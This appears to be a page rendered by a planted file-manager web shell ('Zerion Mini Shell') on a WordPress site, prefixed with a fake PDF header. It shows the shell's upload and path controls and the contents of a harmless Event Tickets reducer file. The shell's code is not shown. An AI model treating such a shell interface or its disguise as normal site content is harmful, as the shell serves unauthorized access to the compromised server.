%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/19851/cwd/wp-content/plugins/event-tickets/src/modules/data/shared/move/reducers/
Upload File :
Create Path :
Current File : //proc/19851/cwd/wp-content/plugins/event-tickets/src/modules/data/shared/move/reducers/posts.js

/**
 * Internal dependencies
 */
import * as types from '@moderntribe/tickets/data/shared/move/types';

export const DEFAULT_STATE = {
	isFetching: false,
	posts: {},
};

export default function posts( state = DEFAULT_STATE, action ) {
	switch ( action.type ) {
		case types.FETCH_POST_CHOICES:
			return {
				...state,
				isFetching: true,
			};
		case types.FETCH_POST_CHOICES_SUCCESS:
			return {
				...state,
				...action.data,
				isFetching: false,
			};
		case types.FETCH_POST_CHOICES_ERROR:
			return {
				...state,
				isFetching: false,
			};
		default:
			return state;
	}
}


Zerion Mini Shell 1.0